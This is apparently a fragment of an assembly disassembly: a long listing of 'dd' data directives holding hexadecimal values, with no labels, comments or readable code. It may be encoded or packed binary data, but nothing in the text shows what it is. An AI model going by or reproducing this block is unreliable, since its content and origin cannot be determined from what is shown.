		dd 0E02B1255h, 0CAD352B2h, 30FE27F5h, 84792CC2h, 0B854E8A2h
		dd 503218F1h, 5F7547AEh, 0EE6653FFh, 0C8166B1Eh, 0F713D1FCh
		dd 5005AF75h, 833D5114h, 17414A5h, 0E050D5A4h, 1C108778h
		dd 249197ABh, 2D1E0320h, 0C9D45949h, 0B8895C60h, 5EC966B5h
		dd 923CFD5Ch, 397712FBh, 61C73A80h, 79FDC025h, 9118112Bh
		dd 36E85A58h, 0DA09062Dh, 6B1793A8h, 1CC26154h,	4447F37Ah
		dd 953436D8h, 0FEC0FAB8h, 0BEBC5686h, 0D0E4A1DFh, 0CCF9279h
		dd 64C18DFAh, 0E8BFEB79h, 971C6AF2h, 5E99947Dh,	1CDDB883h
		dd 71EDDCB8h, 45390E64h, 0A8407E8Dh, 0C872330Ah, 330A10D8h
		dd 0C0FEC2F6h, 114B267Eh, 0AE6A616Bh, 0F1FCECD0h, 89C44E75h
		dd 0BC227FC1h, 15709B8h
		dd 0DA7CC086h, 0E1BF0F54h, 10CE1EF5h, 89AF79F0h, 438C1C53h
		dd 3ACCB210h, 20964175h, 0E3EFF92Eh, 225B76Ah, 4BD96EBFh
		dd 0F63F4FCDh, 0FCBC9645h, 373A75CEh, 0C748B29Eh, 2FE84BACh
		dd 12FCCCA1h, 9EAC4D70h, 646AA67Dh, 0FDE432CCh,	0DE89604Ch
		dd 877E1BCCh, 44F7E093h, 0A394A894h, 0D2089D40h, 0A4B8530Eh
		dd 0BAB311FEh, 0DFFA1BEh, 0E63C5242h, 39934DD3h, 451229B9h
		dd 12AB59F2h, 21542AB8h, 0FB8478C0h, 0EE8B523Fh, 41880AD6h
		dd 0BC75F1D8h, 58CC4943h, 1A7E17CEh, 0B950086Dh, 249488D4h
		dd 8DD4EF35h, 0D96BE67Ch, 0A3F8CE4Dh, 0B6A550Bh, 64CCD45Eh
		dd 55E2BB57h, 2BD43ED8h, 4E897AF7h, 53AE5ABBh, 4FABC920h
		dd 4E9E28D1h, 6722CE56h, 0BFACBEBCh, 0EB62AD71h, 10384FA1h
		dd 0AFD2AF44h, 142F988Eh, 8547D314h, 1091EC23h,	0A213A8D7h
		dd 0F5079370h, 3310C0E6h, 0F30C2713h, 7A988B96h, 0EC44C0C7h
		dd 3FF3702Ch, 0A192989Eh, 0E8BD6C8Ch, 0E9064E54h, 4E789D2Bh
		dd 9BA761B2h, 0C2A21EC5h, 5049FD9Eh, 0C6D39D2Dh, 0E5667E1Ch
		dd 0BF0C28B0h, 8D1DC490h, 26D1AEB5h, 0F32EDF8Bh, 0AC21D2CAh
		dd 0B6847406h, 0AF51FC4Dh, 9D504CC8h, 838F8A59h, 754B62C6h
		dd 7531B2D7h, 499790C6h, 1C59F85Ch, 0E9642297h,	0D02490B5h
		dd 7247701Eh, 1D0EF226h, 0C590530Ch, 0F2BC84E7h, 14F8E248h
		dd 0F0822042h, 30645356h, 9513225h, 162FEDF9h, 0FE30925Fh
		dd 0A6AF2FD0h, 87A936F8h, 5FBF43BDh, 3684637Ah,	0F4206EA5h
		dd 85C818E9h, 1EC843BDh, 0B0441BA4h, 7E469AEFh,	95107588h
		dd 0B2407236h, 0BE081B4h, 0E2441022h, 2E689E4h,	23E924E8h
		dd 0F075F9EAh, 99D57819h, 2ABFCE4Dh, 50D83AE3h,	2D90813h
		dd 0CBDA6E2Ch, 0E0E9C0E8h, 0F8210FDEh, 1408C464h, 0F8B0C090h
		dd 134AF28Bh, 0A8080CBAh, 0DCBEDC67h, 0B2CC47F4h, 6A5A36D0h
		dd 0F448E4A2h, 0DF783E51h, 0E287ECECh, 103F57CCh, 57E014DCh
		dd 0DF78B934h, 46EA2BFAh, 47DFC4EBh, 71F4C8B0h,	16E60D27h
		dd 0C63BFC17h, 19C8DED2h, 18A802F8h, 88F2235h, 43FC7AECh
		dd 8D20ECF4h, 88DAC74Bh, 1C11F733h, 45BF94BCh, 0C4651058h
		dd 22E9FE6Ch, 0A936018Bh, 8A8D698Bh, 3F344BB0h,	0A6371505h
		dd 0FC6C1644h, 7B0C6802h, 59761574h, 6CF1AFFCh,	427E1AFEh
		dd 9D98A8FCh, 59C07E56h, 0D278A583h, 797AFC87h,	26A86524h
		dd 8632BB16h, 5A9AC006h, 0AC7D1D8Dh, 377C1A89h,	5805161h
		dd 847D4EBAh, 1A885566h, 0C4088C22h, 310C900Eh,	980C1194h
		dd 9C101643h, 3AA0C429h, 0A4EA0E52h, 0ABB08C7Eh, 0ECCD48Eh
		dd 0CEB806B4h, 2008BC2Eh, 8E3217A6h, 0C78609C4h, 4D261B3Fh
		dd 0CB0D5CCh, 91BFABD8h, 0AA571719h, 0D2FCBE73h, 6B07D650h
		dd 4271C742h, 0F9E189A5h, 8E9A27EAh, 99B95955h,	7556728Dh
		dd 6B182816h, 7C173267h, 0B1DD4BF5h, 0C93D3D6Fh, 0A3569D6Bh
		dd 81A1025h, 3B9A6F68h,	87FB3573h, 0FDA7F27h, 0A566C577h
		dd 355C44DFh, 0E3522BD7h, 2F0C88E1h, 0D69790D2h, 8A1B53E8h
		dd 804F25F4h, 5018E2C1h, 0FB55B80Bh, 1A641A4Ah,	0A4B960ACh
		dd 0D279D1Fh, 8C282DDCh, 3004DD0Ch, 129A86D4h, 1639E04Fh
		dd 2D448BFCh, 68D6B095h, 0B1E239ECh, 82DE65B9h,	2991E4CAh
		dd 0E530090Eh, 9584248Ah, 458841A2h, 89FDAFE5h,	34E9448Eh
		dd 0CBC48DECh, 1BE6366Bh, 584D9A50h, 34B468F8h,	3E6BD7DEh
		dd 2F81F812h, 9A9994F8h, 0B7C1EE40h, 0C54B48D1h, 0C6562D25h
		dd 9F0440D0h, 6810EEC5h, 0B8FDC0C5h, 8061E2D1h,	0B0890E58h
		dd 626EFF9Ch, 0E45360D1h, 2D3F70ABh, 0E73BB2D7h, 0BF6725D0h
		dd 0C0B16610h, 7C2411FBh, 21EEDA2Fh, 0FBC04258h, 0C4185411h
		dd 0FDC0238Ch, 58FBC84Fh, 3BF744B5h, 129253CAh,	75319C59h
		dd 7E470BF5h, 3B7BEC84h, 0F7C4EFF4h, 5EA2CDADh,	0BCC7199h
		dd 64686E42h, 69E95570h, 7E1BBC03h, 52325381h, 0DB90BECAh
		dd 1681204Ch, 1322085Dh, 0EBEF64D0h, 92955C0Eh,	2AAF204h
		dd 0FC286A04h, 0CDDC4A86h, 0F3504A9Dh, 0DAD62D2Ch, 5D08C465h
		dd 0B0DED4DAh, 1284DD30h, 0CC2D74DEh, 0C110F0B2h, 3CA08E6h
		dd 48B55E0Ah, 295EE029h, 69D916EBh, 0A969BD59h,	0C06F0619h
		dd 854845CCh, 1075E418h, 613E489Dh, 6B06EBE5h, 0D4BCB953h
		dd 20B4EAE2h, 4605B69Fh, 89214CE8h, 7EA85A85h, 0FFB04B68h
		dd 83ECC3Dh, 0F502F0EDh, 985CEB02h, 87AEE820h, 3CEB1041h
		dd 278FE01Ch, 0F09011EDh, 6870F5F8h, 87F408EFh,	32E3F614h
		dd 99C0CE0h, 37A9EBF0h,	0F80999FAh, 0EC60A020h,	0A54EC4A4h
		dd 62A62C06h, 206A488Dh, 0FE496B73h, 2463ADA2h,	0AE7380B2h
		dd 0F8E26091h, 8542D406h, 7485C233h, 45E2B071h,	0E4AD7188h
		dd 0A5DE7860h, 0AE644945h, 2E44BC46h, 2F2FF53Ch, 0B03B10E0h
		dd 0FD47C4B8h, 847B7C10h, 4C2BFBC0h, 0E392BB6Ch, 24ABE4E9h
		dd 84ECB9E1h, 4428FDC4h, 2591868Ch, 0ECE77B2Ch,	2F7791A1h
		dd 7669E1D4h, 0B284A59Dh, 0C2F7D7F8h, 9480187Eh, 8DE9D157h
		dd 2CB13C4Fh, 23A8F83Ah, 603B37F7h, 88028A0Bh, 4C2A5ADBh
		dd 8B042308h, 0EBE681CEh, 83F9A9F4h, 7FF75EDBh,	0E9D7F809h
		dd 543C5DAAh, 93A7DFAAh, 5389681Fh, 317C2D3Fh, 0F40844Fh
		dd 39259C0Dh, 7C58C46Bh, 0B832F42Fh, 276979CCh,	0E2B74BC6h
		dd 2469FF6Ah, 0A41B2CD6h, 0E76A97B1h, 55F827C7h, 0BF1ADA4Eh
		dd 73C0578h, 0B62F09E7h, 451B34ABh, 0CBD845CEh,	0A0BE09DDh
		dd 0A5A47B05h, 852AACB4h, 0BDB0CBA0h, 570DC269h, 75099D51h
		dd 8269DD59h, 0FE9812ECh, 111272FAh, 48815177h,	0E06BC88Ch
		dd 9E45B60Fh, 89D05A1h,	18F7979Ch, 5B0468D8h, 0C262F2D9h
		dd 9913EB18h, 4CE96016h, 4A52A0Dh, 63CE1305h, 0EABF424h
		dd 56C724A8h, 0DE039B0Ch, 1E7C10ACh, 0AE64E1B1h, 0B0270DF7h
		dd 0D9B8CD11h, 5C832285h, 40B217B2h, 0B9B4314Eh, 5729B508h
		dd 0BC36B632h, 59C02AB1h, 231BF609h, 0C898C410h, 6966CC86h
		dd 0B985E825h, 0CE9EF00Ch, 2047186Dh, 662B28A0h, 0CBC0E8Ah
		dd 0F0E58C5Eh, 7DD0B986h, 0D266A978h, 271DD409h, 0D1A20288h
		dd 46DD053Fh, 6A85C44h,	642F1FDBh, 0ADCAD4B8h, 7D4C145Ch
		dd 58C2D68h, 49582C24h,	79C9FF88h, 935DF1C6h, 77EE060Dh
		dd 1D5EE6E4h, 9FAC1AB3h, 7428C044h, 0B3225789h,	5123239Ah
		dd 9D429868h, 20CA6668h, 4BD24BF5h, 5CAB88B4h, 0FE2704DEh
		dd 18796920h, 53FC2E3Fh, 0BAA4093h, 0D514F84Eh,	594CDE97h
		dd 58C81414h, 12597B8h,	0C4548757h, 0D904B8F2h,	86040235h
		dd 0E99024D4h, 0E0401082h, 3A9782C7h, 20EA4614h, 1421D142h
		dd 464A502h, 0F97C8C2Fh, 0C04A7AE2h, 0C85C5375h, 75549A77h
		dd 19D9C242h, 0BC27571Eh, 75F419D1h, 0ACAC861Ah, 7E15EBE9h
		dd 33598754h, 50C675FEh, 4D2D8D01h, 254BE5ECh, 1CFEB0C2h
		dd 478BCE69h, 6288580Eh, 0DD1BEB73h, 3071EE62h,	1D6120C5h
		dd 41297DE8h, 0B45DAC2Dh, 57B7C9C5h, 0F756B2F7h, 0DE276B4Fh
		dd 0B6652D8Bh, 0B3E2E016h, 0D0B5BC5Eh, 7DBCC4A2h, 0BDC9EEF3h
		dd 3E741112h, 0D6261D21h, 20621012h, 0D7A6AB8Ch, 629D6B9Eh
		dd 0DAF6D6FFh, 0C857CC8h, 96CD0149h, 0DC3B6A0Fh, 931174ECh
		dd 5C8BE2Dh, 269105EBh,	193D398Bh, 0F00C5280h, 8757CC88h
		dd 809911A2h, 7C9B53C5h, 423ED221h, 0AC4FD032h,	33A479CFh
		dd 766CAC96h, 5C63F56h,	76E5EDADh, 62A36606h, 4649D21Bh
		dd 176405F4h, 65D7015Bh
		dd 4E9113CDh, 0E803268h, 2B112669h, 636E6A45h, 23DC6C3Bh
		dd 8970C2E0h, 8891F53Ch, 7A439150h, 6164AF5Ah, 0EA292E2h
		dd 6DEC289Ah, 76687E8Ch, 68582A69h, 57B0B708h, 0DDD27415h
		dd 42255E7h, 2A78A32Bh,	52FBF784h, 79EB3BC7h, 22DCE454h
		dd 69E78D56h, 3E1E3D2Bh, 569329FCh, 4FFC2921h, 6FD82393h
		dd 728625D0h, 0FB149576h, 18AA62BFh, 92F66921h,	0E3D88CA7h
		dd 93427EA6h, 0F12C93C6h, 0C2C0EEAAh, 4DD2FF56h, 58682D44h
		dd 18C973CAh, 7F492D9Dh, 95271633h, 20CBA56h, 27CCC52h
		dd 0C576ACEBh, 0C836A57Dh, 0F0250E8Eh, 1E2ACDFDh, 0DA672747h
		dd 777EA808h, 0EB5610C4h, 8DAAFD16h, 39FE2F6Ch,	12243E72h
		dd 0B64790D1h, 0A4EBA82Bh, 6B958DFBh, 4CF8EFC4h, 0A1DCAFD2h
		dd 142B8B7Ch, 5F25C314h, 6A4AF89Ch, 0AE1464EBh,	0EA4A01A2h
		dd 0F0BD1821h, 1D1CFDEEh, 0C883051Fh, 0AE58EB8Eh, 48E0B6CFh
		dd 0F68B7404h, 0FD6954Dh, 1A9DBCF3h, 9D741118h,	0C708A083h
		dd 0BA04359Fh, 82FC0232h, 57100796h, 0AD15F64h,	98C82A8Bh
		dd 0B67494C4h, 0FC2A5DA1h, 72FA4EF1h, 0FB5D0CE3h, 4B58106Fh
		dd 0A62CBEE1h, 0C406ECE2h, 39D1B36Bh, 0F0A3C7E2h, 0CDCEE2C2h
		dd 0A8B25F9Dh, 224BE5Bh, 0E196A09h, 3DFF08D6h, 0D79D8994h
		dd 12844DC6h, 0FCFEEF86h, 212CC789h, 14202693h,	0E1157844h
		dd 16897C08h, 802A4508h, 88210717h, 508C8835h, 18519062h
		dd 21865894h, 9C886E98h, 77A06271h, 8687A418h, 8889A821h
		dd 0B0628BACh, 0BBB4188Fh, 0B8100142h, 8BCCEBDh, 99C04104h
		dd 43C40805h, 0B8C808DCh, 0EACC4106h, 21D0080Ch, 0D4040D3Dh
		dd 0D8201388h, 10841A0Bh, 841F40DCh, 0F34590E0h, 8B28F1ABh
		dd 0D403E418h, 0B554E3ABh, 0DAFC2226h, 6458C1A5h, 825CFE0Dh
		dd 8D85634Ah, 0F22305BCh, 0AB84DA66h, 532E3908h, 3938E32Fh
		dd 7327E985h, 0C3E492CDh, 8ABF5150h, 3C042C40h,	468450C8h
		dd 2193E5D1h, 0C7CB3256h, 73CF5D39h, 0D45E18BFh, 84248907h
		dd 83465E0Dh, 99044CC2h, 7C703C74h, 93C9BFBFh, 0AD4BAA5Fh
		dd 7ECC7D57h, 3AA3D669h, 0FB9D0B5Ch, 0C7433FC0h, 8BF6770Ch
		dd 4B7BE72Ch, 0C8F815EAh, 7641D459h, 5CF04ECBh,	1AEBE21Ah
		dd 9675C38Bh, 9750E2A2h, 89AC6547h, 10F8F6B2h, 439E7C1Ch
		dd 900B2D24h, 0BEC5B9F1h, 5C63441h, 56451041h, 1A64F073h
		dd 0E064C99h, 54088991h, 367BD44Eh, 6609784Fh, 4EF194A3h
		dd 0D801420h, 364F0C98h, 924532C2h, 96900C7Fh, 8DA1750Fh
		dd 2EA214FEh, 80B0594h,	0AE7FE0C1h, 0EEBD28Fh, 8A92606Eh
		dd 0F19C10CFh, 0BE51088Bh, 1BA0B03Eh, 0AEB11D88h, 5356325Fh
		dd 0A9B3B2A8h, 0F88B8818h, 0A5E7C11Eh, 3100F90h, 3C5957E9h
		dd 45A8A38Ch, 48B050A0h, 2408177Dh, 6A60020Fh, 0E86A214h
		dd 0F050AE66h, 93ACAC8Ch, 22A0B653h, 543DF8A6h,	8AD066CCh
		dd 57D1E304h, 50A3CFDCh, 84A125D2h, 0B8199194h,	5D95020Fh
		dd 0BA213ABCh, 0EB249528h, 39662F05h, 2F751214h, 91697D56h
		dd 0A129A44Ah, 0C82A3DD1h, 2B1445Dh, 0EB3483ACh, 11225E1Fh
		dd 659F4510h, 0F2A437A3h, 0C2C9405h, 9F85A5A8h,	0BE590A6Ah
		dd 0D4BF0A53h, 229AC5C4h, 0E328B407h, 0BEA5F302h, 4A9A9690h
		dd 6B18C956h, 0AAC86EA0h, 12290813h, 1CD127AAh,	68527830h
		dd 5EE5BD0h, 0D935FF9Fh, 89C03D0Ch, 4831E281h, 4D8C0F5Fh
		dd 744ADA23h, 25759EACh, 7D15090Eh, 117454Ch, 8009F849h
		dd 79BB92B8h, 1AD7A7E6h, 0DC8C0B7Bh, 0B8BF0BC4h, 3E9CDF56h
		dd 751E7409h, 96FFC1E2h, 0CF0F60AEh, 0FE81F703h, 48E71030h
		dd 4BEBDF7Ch, 53E00242h, 2D8BF669h, 4785BC09h, 533B099Eh
		dd 17F38B9Bh, 0D00B7344h, 3F9F6830h, 0D7A8868Dh, 0EB901339h
		dd 40248972h, 6B94CC1Fh, 6744F642h, 73778082h, 7EF0E249h
		dd 0DB908817h, 468D36C0h, 54506318h, 4A4FDC68h,	0EAA375BEh
		dd 0B83B862Dh, 812CF843h, 1132C2B8h, 0B93EB6BFh, 53C9DF57h
		dd 4A5C5456h, 7140081Ah, 35F4BB02h, 1A99FD4Dh, 64F5E9BEh
		dd 0E0D63B18h, 838DC2BFh, 28531285h, 2B000CBFh,	7DDE3BDFh
		dd 83B70FE3h, 1150C332h, 0F80584FAh, 0F611F022h, 0C1B7F208h
		dd 57017F6Fh, 7E622E56h, 6852F128h, 22132D4Eh, 6B83ADA7h
		dd 0BBC6BFF9h, 799D2370h, 0B8584C04h, 337883A4h, 5088814h
		dd 9B3D2922h, 39F27C00h, 0B010244Ch, 91515B95h,	0B23C6848h
		dd 8A1413C1h, 68502A04h, 0A97F4B28h, 0C3598237h, 3EC5B156h
		dd 47531003h, 0D37510CCh, 0B912979Dh, 455D1D9h,	5EC033DDh
		dd 5AFC97BEh, 0AC1CC49Fh, 6458A7F4h, 423C5AE4h,	5F4E40AAh
		dd 0A554A39h, 1E3BF87Fh, 12DBAE89h, 1E42BBB8h, 43521E75h
		dd 4EB51E74h, 68EC8686h, 0EC96FB6Ch, 71FEE408h,	66ED3B80h
		dd 0F16A8341h, 3A12A708h, 77842955h, 7E0300E1h,	8657BD1h
		dd 0E7666D26h, 7D291E3Bh, 3C15B052h, 0AC198B36h, 0A613C6EBh
		dd 5C2873Ch, 22571A74h,	5605FC76h, 46FB726Dh, 0A6CBDF92h
		dd 139DC4F7h, 0CB7F5068h, 395904AAh, 0ABEF075h,	491B56D6h
		dd 2142C477h, 4BA1FEE8h, 0E83A3FCDh, 5767F15Fh,	0C8A9E604h
		dd 51762F83h, 2D34D5EBh, 0F75F7425h, 0C63C141Fh, 0E37BFA55h
		dd 54142FA3h, 0E1C16971h, 0C7AD3F08h, 0BA227484h, 0E63B0229h
		dd 335723A7h, 0B6DD0B51h, 0EB277B5Fh, 1FB8DD02h, 114EB4B8h
		dd 6DB2C4BDh, 0DD2B4C19h, 89E11164h, 0A4C5C7B0h, 18E54E8h
		dd 0D88B7A4Fh, 41FB8359h, 7B5275CFh, 688499A8h,	7E208EECh
		dd 80F87D80h, 1BA4571Bh, 4E2FC99Eh, 0A3535BBCh,	4DEE8BBFh
		dd 886842C4h, 57970EEEh, 32B522B3h, 643DBC64h, 5F8AEF59h
		dd 21DBF02Dh, 0EB155449h, 0A5D52329h, 342456B3h, 0A72D3DAFh
		dd 7A767E20h, 38320557h, 0DCAA8D75h, 4AF1B889h,	31BA5B69h
		dd 59147408h, 28BA2E58h, 0A3537503h, 0C5882938h, 0C348C268h
		dd 0F71A5F7h, 840A04E3h, 423BD9Eh, 5B08ADA4h, 0EBFE2D89h
		dd 0B0989FBBh, 0CB8FFEA5h, 12C33675h, 0B0A75E8h, 375480BEh
		dd 64C85342h, 0B6D05E78h, 69A19F81h, 3DD20372h,	4B885126h
		dd 0CCF8A9D4h, 85C87C74h, 73E43C33h, 0DEFB9762h, 544ED01Ah
		dd 16B2682Fh, 0D36AFCD2h, 851386BDh, 0A9432720h, 2745DBDDh
		dd 848A1301h, 3C14430Dh, 2482AEADh, 0D10145Fh, 1990F9FCh
		dd 4D5C4132h, 0D1C8D732h, 534BCD76h, 0F7A662ACh, 0A77FEC23h
		dd 0F44EC9DCh, 3DAE9632h, 2BB63B5Bh, 80A85462h,	1435C414h
		dd 0E42E1A71h, 0B6FC597Fh, 9D5B0427h, 3FAEFBEBh, 0E65AF57h
		dd 9004C804h, 94438023h, 0E59D1256h, 43C8B2DCh,	202F5152h
		dd 0EC85BFCh, 5B103C9Eh, 7050CA83h, 79FB4259h, 0BB9721FDh
		dd 7F9D3813h, 7F5929BEh, 44094771h, 68AC2640h, 4CC3D078h
		dd 54B046E4h, 0EC419CC6h, 5E554ECEh, 0F4DFBCB8h, 7540A4EAh
		dd 5468187Fh, 77CB916Fh, 723226C5h, 4EECCEC9h, 3365FD39h
		dd 84BF7FA2h, 0E0D2CAA8h, 0C7743B20h, 0B396035Fh, 0B7F5F66Ch
		dd 45646ED9h, 31D8F721h, 0DF642F2Ch, 0E0BDCCFBh, 0A9F55F86h
		dd 7D309A21h, 14A3C1E5h, 5A88B514h, 0ABD8F7EDh,	1759956h
		dd 291EF052h, 11851C57h, 4098F455h, 0FC30E3Bh, 8614AC8Ch
		dd 110BFC8Ah, 0EC2937A1h, 4C53C49Bh, 5E448A8Bh,	3DDA8A70h
		dd 0F39FF0F8h, 7EF0A726h, 4AD25997h, 0B28D190h,	0E7402C4Dh
		dd 9320E4B0h, 0A74CAA98h, 8E14649Ah, 13514C26h,	4D0BFE3Bh
		dd 0EB147507h, 619BC38Ch
		dd 67BDA817h, 0B410BEB1h, 0CABBA7D1h, 9F53429Eh, 18713167h
		dd 0FCD2414Bh, 0B9F6E6C7h, 1D407963h, 5D5FE47Bh, 6575F84Ah
		dd 0BB2184BAh, 24F670BCh, 0DFFE5C2Dh, 71A7CBAh,	74777462h
		dd 284AD30Dh, 22873EAh,	8801C04Ch, 7757040h, 818C6812h
		dd 4946D0E0h, 43905E50h, 2B2888CDh, 509933B7h, 0BC3C095Ch
		dd 25FCAC5Fh, 0B9EC1448h, 22522786h, 3C216B90h,	0FB233B81h
		dd 53425762h, 0EB3C8B3Eh, 34874D7Dh, 42F8EB21h,	0E2ABF5h
		dd 7BB29A22h, 3E367426h, 5E2524A1h, 54CBC37Ch, 0D0577DBAh
		dd 0BD089260h, 6FF41439h, 0F22B9299h, 98EB856Ch, 42688062h
		dd 0D7E75D96h, 46DF1220h, 58DC7CAFh, 878EFE40h,	95A928AEh
		dd 9AD337Bh, 0F19CDF46h, 8341E446h, 0F8DC9C7Eh,	44A253B5h
		dd 4A7D9948h, 817B4484h, 5D42799Bh, 0F68308ECh,	0A6864BD1h
		dd 0C4FC5E62h, 0EF8C29B5h, 76081E1Fh, 5D728FA9h, 10920967h
		dd 0B9CD28FAh, 8498AA4Eh, 55F39D34h, 82F6338Bh,	0F2A4B858h
		dd 0F76AF101h, 3525742Dh, 15772384h, 0F5E5FCD8h, 7361147Bh
		dd 21044114h, 2545DA4Ch, 229A9814h, 46610D58h, 495D73E0h
		dd 0B14C2F19h, 4B5841FAh, 0B997EC83h, 0CB7334A7h, 67FD3888h
		dd 0F0D07834h, 0B81387FAh, 332FD49Bh, 0C0BB58B1h, 25B907D0h
		dd 0AE4F5318h, 5E559AB5h, 248124E4h, 7EA3AA3Ch,	5289088Ah
		dd 4083ECF7h, 0CFAAE0E8h, 74CC8A01h, 0A2D2511h,	925C1B6Dh
		dd 0DC5E34CAh, 89F2878h, 0FB81C6B5h, 3FBDA48h, 0C38B2273h
		dd 9EC6C72Bh, 8E9A50B5h, 169FEF54h, 0AAC7D6E4h,	7DEC5B29h
		dd 0C7AEDD08h, 8F3B0574h, 834A7783h, 8B01BCE8h,	124FC77Dh
		dd 0DCAA6585h, 30496842h, 10EB140Ch, 2D08E212h,	5B75F28Ah
		dd 327F69C5h, 87D0C0CDh, 0A95A8B27h, 6E744298h,	44A6B749h
		dd 808C22FFh, 0BC6A50BDh, 0CE821283h, 0E559564Dh, 0BC925669h
		dd 239EA728h, 27EBA2FCh, 17E4F1F7h, 0EA41C727h,	623FEE56h
		dd 91AA63E4h, 0C5C88384h, 87F2766Ah, 0DAB5EC9h,	8A17250Ah
		dd 62A9846Ah, 8A6EB445h, 30ECB8D9h, 2413757h, 14933249h
		dd 4D64BEE8h, 0B5BED684h, 407DED37h, 900DDC0Bh,	56427638h
		dd 1CDD0C80h, 0D0503524h, 1B904836h, 7C682B98h,	0D58F825Fh
		dd 65AA6A49h, 0D3EEC0FCh, 5DCAE09h, 0EB74056Ah,	0B5BE0C85h
		dd 6433FAF1h, 528E40A7h, 0AD60E178h, 7424D1F6h,	79565CEEh
		dd 3FCEF9E8h, 9FE75569h, 5C442D3Eh, 0AA5F64D5h,	1C0A6ECBh
		dd 3412BD89h, 0F186BE49h, 0AC43B613h, 8966021Fh, 71FF20B5h
		dd 0EF1EA030h, 85280274h, 1C901127h, 74B3223Fh,	752505E6h
		dd 3765DF12h, 33955691h, 0B4E868C4h, 0FE990C17h, 871DBC46h
		dd 0DF222C9Ch, 0D3355916h, 65FBA1AFh, 0B5CA7F2Ch, 0ACC93384h
		dd 7E0802ABh, 0DF158A10h, 300693D0h, 3B410114h,	0F07C2721h
		dd 169B96FDh, 0E05ECC01h, 21B7C911h, 8BC19567h,	67915CCAh
		dd 0FC65F238h, 324110D4h, 132AF8BFh, 3698ABBEh,	495D4F8Bh
		dd 0F68D8DDAh, 0A8A56A22h, 297EE4EAh, 890D20CDh, 8FD3004h
		dd 0CC0B121Eh, 0B4000B0h, 125589C2h, 0F016740Ch, 31BA6AAEh
		dd 990659EAh, 0D285F9F7h, 6C60170h, 0C2EB462Ch,	3B65614Eh
		dd 0F13BD680h, 8A080E72h, 408F880Eh, 8047EBEFh,	0C78B0220h
		dd 6458F9D5h, 0BC72434h, 0EE480FCFh, 2108792Bh,	20180690h
		dd 0B806170Fh, 0C3324EACh, 9006A8CAh, 6498C8A0h, 19883290h
		dd 0C80C0980h, 3E8BB518h, 72A7C55Eh, 6F06410h, 4F808F4h
		dd 0BFC4A1FCh, 0A01197CCh, 0C851F086h, 0E89EF808h, 0D0146925h
		dd 672312Eh, 0E8E34359h, 4FC4AEDCh, 98A119BCh, 479A0901h
		dd 78859A8Dh, 4EE2A9A1h, 0BB7D794Fh, 6C4E6F59h,	6EC4230Dh
		dd 95F3A924h, 0F41EF032h, 0EA0D9D19h, 8E32FC04h, 0C8FF5325h
		dd 10D96A5Ah, 0BC24EC9Ch, 0C2701C11h, 27382724h, 0BAABB8BFh
		dd 8C5EBEB2h, 6854414Bh, 0F6BBEC2Bh, 50CF9E67h,	5A9CA0CDh
		dd 85537B5Bh, 7F627DC9h, 68082915h, 0EB5BD0FFh,	0B0BE321Ah
		dd 0BD6A16E5h, 4F3C5A59h, 0FE9D2DBBh, 0F3B3592h, 6A2391CCh
		dd 0B52C9460h, 0DC245633h, 0A84E0510h, 0DC142066h, 41D42D66h
		dd 5AD9EDEFh, 109CA33Ch, 7274DFFDh, 80230A19h, 6BE181A5h
		dd 0AF814968h, 61967732h, 5324751Ch, 48503A68h,	0FC5368B2h
		dd 4F97709Eh, 0D97EAD45h, 0EC802C32h, 8DDAE185h, 94EE9207h
		dd 0E4C04336h, 167AA987h, 3B45F749h, 3A3DFB44h,	33532370h
		dd 3E5AB7DBh, 1CB7C490h, 5E49C4F7h, 0EB8A1FFDh,	0E034E661h
		dd 0B9FE04FAh, 270074Ch, 0A186C6D9h, 90EA570Fh,	0F81F3814h
		dd 77BD98F7h, 0BB845E68h, 7C743638h, 0A049AF12h, 0C0A9051Eh
		dd 0C065C38h, 5908749Bh, 0FDCC7525h, 8529DF9Ah,	9CC2FD5Ch
		dd 44B47904h, 0F66472A7h, 2C98C438h, 96D08EECh,	2AE05FB5h
		dd 0FB1FD2EBh, 0EC3D32E2h, 18A0877Ah, 7DC6DFAAh, 12845C21h
		dd 2D252A64h, 7A67CA10h, 0CA645E87h, 0FD68103Ch, 0FEF164C8h
		dd 4DE21005h, 5D9A24D0h, 61012738h, 0FF186F40h,	0D73C614Ch
		dd 0B29ABED8h, 0FAAD6142h, 4E5C9DF6h, 0B29CF953h, 8B182A4Ch
		dd 9A7504BEh, 0E76CDD25h, 0D684A02Dh, 3D8B501Eh, 0B629FAB7h
		dd 0FEBC42D9h, 326945DFh, 1877D7D6h, 0BCC0BB92h, 717405FDh
		dd 101D4FF6h, 0BD805422h, 2E19FA64h, 0E9121275h, 42523616h
		dd 0A72E3C09h, 0C9996C39h, 1751B40Eh, 6253180Ah, 1CD4BE6Fh
		dd 27E69F14h, 816F61F8h, 1CC8942Ch, 9156D37Ah, 0A5DC77EEh
		dd 1F0D5C8Fh, 15C66F70h, 520BB845h, 0AE0AFD45h,	0D732AB97h
		dd 436C7C4Fh, 0A8426862h, 0BEFA2187h, 9FED84AAh, 0B4217BBCh
		dd 4C2879FAh, 86A55654h, 84EBB19Eh, 7EA08B1Ah, 29C5815h
		dd 2576B99Fh, 0FF46640Ch, 9020B05Bh, 2F0D669Fh,	0A21419Eh
		dd 200F74FCh, 82970243h, 18867838h, 567B3F64h, 2116A0E9h
		dd 7D9E8B25h, 0F595E6h,	0D6586853h, 0D899FB2Ah,	0D207E86Fh
		dd 57270D19h, 0D6254F7Fh, 30B206Ah, 4D483CA3h, 0CE11B86h
		dd 0E4218C30h, 4A400885h, 3832C864h, 34ED1AAEh,	6467010Eh
		dd 7ECCAD93h, 8904769h,	0D548358Ah, 19986625h, 403830BBh
		dd 0B4F28857h, 5FD69E85h, 1F40DBBFh, 0EA99CF2h,	17BC7F0h
		dd 47544851h, 8B072618h, 0EB1C660Ch, 58670F05h,	42C29FC3h
		dd 1D8E3D83h, 579E4B13h, 644C1BC4h, 0F2408E4Fh,	18B178EAh
		dd 4933EB28h, 6821448Ch, 90698BF9h, 0C2F798Fh, 0BB5D08ADh
		dd 5DDCAC20h, 70C5D7CBh, 21246A9Ch, 99A8FC7Bh, 81B4448Ah
		dd 6813EB5Bh, 162D5FA8h, 1AA1F633h, 16420838h, 6819CC4Fh
		dd 0FF640CF3h, 0FD467E1Ah, 6D424E84h, 640EFF29h, 0B1A1424h
		dd 55531982h, 5489865Fh, 0F2BB4FE5h, 65F84E6Eh,	1F301051h
		dd 61448A50h, 448DE81Bh, 9748EE52h, 8FA49ADAh, 0D6E512D7h
		dd 414C189Ah, 2EA0D9D4h, 4794288Bh, 1C434C8Dh, 2B107489h
		dd 0A4305051h, 377E9850h, 0E832C11Ch, 0C2183504h, 0F8354354h
